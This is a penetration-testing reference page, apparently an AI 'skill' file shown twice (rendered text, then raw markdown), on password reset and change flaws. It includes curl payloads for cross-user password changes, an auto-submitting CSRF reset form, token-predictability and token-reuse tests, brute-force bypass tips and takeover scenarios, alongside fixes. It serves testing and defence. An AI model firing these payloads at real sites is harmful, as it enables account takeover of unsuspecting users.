Password Reset and Change Flaws
What Is Broken and Why
Password reset and change workflows are high-value attack targets because they operate partially
outside a user's active session. Flaws arise when reset tokens are predictable, when the workflow
can be manipulated to affect other users' accounts, when CSRF protections are absent, or when
password changes do not require verification of the current credential. Additionally, displaying
the old password during a reset reveals that it is stored in recoverable form (plaintext or
reversible encryption), indicating fundamentally broken credential storage.
Key Signals
- Reset endpoint accepts
user= or username= parameter that can be swapped to another account
- Password change form does not require current password field
- Reset token in URL is short, numeric, sequential, or time-derived
- Reset page displays old/current password in cleartext
- Password reset or change form lacks CSRF token
- Reset link does not expire or remains valid after use
- Weak policy: accepts "Password1", "123456", no minimum length enforcement
- Password reuse permitted across resets
- Application accepts
changepassword?user=VICTIM without validating session ownership
Methodology
- CSRF check on reset form: Capture reset/change request; remove or replay CSRF token;
confirm if server accepts.
- Cross-user modification: On password change endpoint, swap the
user=, username=, or
account= parameter to a different account while authenticated as another user.
- Token analysis: Request multiple reset tokens; compare for patterns (sequential integers,
Unix timestamps, MD5 of email+time).
- Token lifetime: Use a reset token after 1 hour, 24 hours, 1 week; note if still valid.
- Plaintext password detection: Trigger "forgot password" flow; if response contains the
actual current password, storage is reversible.
- Missing current-password gate: Submit password change request without
currentPassword
field or with an incorrect value; observe if accepted.
- Workflow manipulation: Intercept multi-step reset flow; skip steps or replay confirmation
tokens against a different account.
- Password policy audit: Test minimum/maximum length, character class requirements, common
password blocking, history enforcement.
Payloads & Tools
# Test cross-user password change (swap victim username)
curl -X POST https://TARGET/account/changepassword \
-b "SessionID=ATTACKER_SESSION" \
-d "user=VICTIM&newPassword=hacked123&confirmPassword=hacked123"
# Test password change without current password
curl -X POST https://TARGET/account/changepassword \
-b "SessionID=VALID_SESSION" \
-d "newPassword=hacked123&confirmPassword=hacked123"
# CSRF PoC for password reset (save as csrf_reset.html, open in victim browser)
cat << 'EOF'
<html>
<body
<form action="https://TARGET/account/resetPassword" method="POST">
<input type="hidden" name="email" value="VICTIM_EMAIL">
</form>
</body>
</html>
EOF
# Collect reset tokens and diff for predictability
for i in {1..5}; do
curl -s -X POST https://TARGET/forgot-password \
-d "email=test${i}@TARGET" -D - | grep -i "location\|token"
done
# Test token reuse after use
curl "https://TARGET/reset?token=TOKEN&newpass=test123"
# Wait, then retry:
curl "https://TARGET/reset?token=TOKEN&newpass=changed_again"
# Weak password policy test
curl -X POST https://TARGET/register \
-d "user=testuser&pass=123456&confirm=123456"
curl -X POST https://TARGET/register \
-d "user=testuser2&pass=Password1&confirm=Password1"
Bypass Techniques
- If reset token is
MD5(email + timestamp), brute-force the timestamp within a known window.
- Multi-step reset flows sometimes store the target account in session; manipulating the session
between steps can redirect the reset to a different account.
- If
currentPassword field is client-side validated only, remove validation via browser devtools.
- Applications that send reset links to email may have a separate "display reset code" API
endpoint accessible without email delivery.
- Some reset flows accept both GET and POST; CSRF is often only protected on POST.
Exploitation Scenarios
Scenario 1 — CSRF Account Takeover via Password Reset
Setup: Password reset endpoint lacks CSRF token; accepts email= parameter via POST.
Trigger: Victim visits attacker-controlled page containing auto-submitting form targeting reset
endpoint with victim's email. Attacker controls email account (or intercepts reset token).
Impact: Attacker resets victim's password and locks them out.
Scenario 2 — Cross-User Password Change
Setup: Password change endpoint uses user= parameter without validating it matches session owner.
Trigger: Authenticated attacker POSTs to /changepassword with user=admin&newPassword=hacked.
Impact: Admin account password changed to attacker-controlled value; full privilege escalation.
Scenario 3 — Session Hijacker Lockout Attack
Setup: Password change does not require current password; attacker has stolen a valid session token.
Trigger: Attacker changes victim's password using stolen session before victim notices.
Impact: Victim locked out of their own account; attacker maintains persistent access.
False Positives
- A reset link that appears numeric may include an HMAC suffix not visible in the URL fragment;
verify the full token is validated server-side.
- "Current password" field present client-side but removed by JS may still be enforced server-side.
- Displaying a temporary auto-generated password (not the original) does not necessarily indicate
reversible storage; confirm whether it is the original or freshly generated.
Fix Patterns
- Generate reset tokens using a cryptographically secure random source; minimum 128-bit entropy.
- Expire reset tokens after first use and after a short time window (15-30 minutes).
- Enforce CSRF tokens on all password change and reset form submissions.
- Require current password verification for password change; derive target account from server
session, never from user-supplied parameters.
- Hash passwords with bcrypt, scrypt, or Argon2; never store reversibly.
- Enforce minimum password length (12+ characters), block common passwords using a deny-list.
- Follow the OWASP Forgot Password Cheat Sheet for reset flow design.
Related Skills
Password reset is one of the most common [[auth-bypass]] vectors — a flawed reset flow often completely sidesteps a hardened login page. A missing CSRF token on the reset form makes it immediately chainable with [[csrf]] for account takeover. If the reset endpoint reflects a predictable token in the URL, [[session-fixation]] techniques (token prediction analysis) apply to reconstruct the token space. Cross-user password modification via parameter swap is the same class of bug as [[authz-bypass]].
1---2name: password-reset-flaws3description: Exploit weak password reset and change flows via CSRF on reset forms, cross-user password modification by swapping username parameters, token predictability in reset links, reset displaying old password in plaintext (revealing weak storage), missing current-password verification on change forms, and session hijacker lockout via passwordless change. Test with Burp Suite, OWASP ZAP following OWASP Forgot Password Cheat Sheet.4license: MIT5---67# Password Reset and Change Flaws89## What Is Broken and Why1011Password reset and change workflows are high-value attack targets because they operate partially12outside a user's active session. Flaws arise when reset tokens are predictable, when the workflow13can be manipulated to affect other users' accounts, when CSRF protections are absent, or when14password changes do not require verification of the current credential. Additionally, displaying15the old password during a reset reveals that it is stored in recoverable form (plaintext or16reversible encryption), indicating fundamentally broken credential storage.1718## Key Signals1920- Reset endpoint accepts `user=` or `username=` parameter that can be swapped to another account21- Password change form does not require current password field22- Reset token in URL is short, numeric, sequential, or time-derived23- Reset page displays old/current password in cleartext24- Password reset or change form lacks CSRF token25- Reset link does not expire or remains valid after use26- Weak policy: accepts "Password1", "123456", no minimum length enforcement27- Password reuse permitted across resets28- Application accepts `changepassword?user=VICTIM` without validating session ownership2930## Methodology31321. **CSRF check on reset form**: Capture reset/change request; remove or replay CSRF token;33 confirm if server accepts.342. **Cross-user modification**: On password change endpoint, swap the `user=`, `username=`, or35 `account=` parameter to a different account while authenticated as another user.363. **Token analysis**: Request multiple reset tokens; compare for patterns (sequential integers,37 Unix timestamps, MD5 of email+time).384. **Token lifetime**: Use a reset token after 1 hour, 24 hours, 1 week; note if still valid.395. **Plaintext password detection**: Trigger "forgot password" flow; if response contains the40 actual current password, storage is reversible.416. **Missing current-password gate**: Submit password change request without `currentPassword`42 field or with an incorrect value; observe if accepted.437. **Workflow manipulation**: Intercept multi-step reset flow; skip steps or replay confirmation44 tokens against a different account.458. **Password policy audit**: Test minimum/maximum length, character class requirements, common46 password blocking, history enforcement.4748## Payloads & Tools4950```bash51# Test cross-user password change (swap victim username)52curl -X POST https://TARGET/account/changepassword \53 -b "SessionID=ATTACKER_SESSION" \54 -d "user=VICTIM&newPassword=hacked123&confirmPassword=hacked123"5556# Test password change without current password57curl -X POST https://TARGET/account/changepassword \58 -b "SessionID=VALID_SESSION" \59 -d "newPassword=hacked123&confirmPassword=hacked123"6061# CSRF PoC for password reset (save as csrf_reset.html, open in victim browser)62cat << 'EOF'63<html>64<body onload="document.forms[0].submit()">65 <form action="https://TARGET/account/resetPassword" method="POST">66 <input type="hidden" name="email" value="VICTIM_EMAIL">67 </form>68</body>69</html>70EOF7172# Collect reset tokens and diff for predictability73for i in {1..5}; do74 curl -s -X POST https://TARGET/forgot-password \75 -d "email=test${i}@TARGET" -D - | grep -i "location\|token"76done7778# Test token reuse after use79curl "https://TARGET/reset?token=TOKEN&newpass=test123"80# Wait, then retry:81curl "https://TARGET/reset?token=TOKEN&newpass=changed_again"8283# Weak password policy test84curl -X POST https://TARGET/register \85 -d "user=testuser&pass=123456&confirm=123456"86curl -X POST https://TARGET/register \87 -d "user=testuser2&pass=Password1&confirm=Password1"88```8990## Bypass Techniques9192- If reset token is `MD5(email + timestamp)`, brute-force the timestamp within a known window.93- Multi-step reset flows sometimes store the target account in session; manipulating the session94 between steps can redirect the reset to a different account.95- If `currentPassword` field is client-side validated only, remove validation via browser devtools.96- Applications that send reset links to email may have a separate "display reset code" API97 endpoint accessible without email delivery.98- Some reset flows accept both GET and POST; CSRF is often only protected on POST.99100## Exploitation Scenarios101102**Scenario 1 — CSRF Account Takeover via Password Reset**103Setup: Password reset endpoint lacks CSRF token; accepts `email=` parameter via POST.104Trigger: Victim visits attacker-controlled page containing auto-submitting form targeting reset105endpoint with victim's email. Attacker controls email account (or intercepts reset token).106Impact: Attacker resets victim's password and locks them out.107108**Scenario 2 — Cross-User Password Change**109Setup: Password change endpoint uses `user=` parameter without validating it matches session owner.110Trigger: Authenticated attacker POSTs to `/changepassword` with `user=admin&newPassword=hacked`.111Impact: Admin account password changed to attacker-controlled value; full privilege escalation.112113**Scenario 3 — Session Hijacker Lockout Attack**114Setup: Password change does not require current password; attacker has stolen a valid session token.115Trigger: Attacker changes victim's password using stolen session before victim notices.116Impact: Victim locked out of their own account; attacker maintains persistent access.117118## False Positives119120- A reset link that appears numeric may include an HMAC suffix not visible in the URL fragment;121 verify the full token is validated server-side.122- "Current password" field present client-side but removed by JS may still be enforced server-side.123- Displaying a temporary auto-generated password (not the original) does not necessarily indicate124 reversible storage; confirm whether it is the original or freshly generated.125126## Fix Patterns127128- Generate reset tokens using a cryptographically secure random source; minimum 128-bit entropy.129- Expire reset tokens after first use and after a short time window (15-30 minutes).130- Enforce CSRF tokens on all password change and reset form submissions.131- Require current password verification for password change; derive target account from server132 session, never from user-supplied parameters.133- Hash passwords with bcrypt, scrypt, or Argon2; never store reversibly.134- Enforce minimum password length (12+ characters), block common passwords using a deny-list.135- Follow the OWASP Forgot Password Cheat Sheet for reset flow design.136137## Related Skills138139Password reset is one of the most common [[auth-bypass]] vectors — a flawed reset flow often completely sidesteps a hardened login page. A missing CSRF token on the reset form makes it immediately chainable with [[csrf]] for account takeover. If the reset endpoint reflects a predictable token in the URL, [[session-fixation]] techniques (token prediction analysis) apply to reconstruct the token space. Cross-user password modification via parameter swap is the same class of bug as [[authz-bypass]].
ShulkwiSEC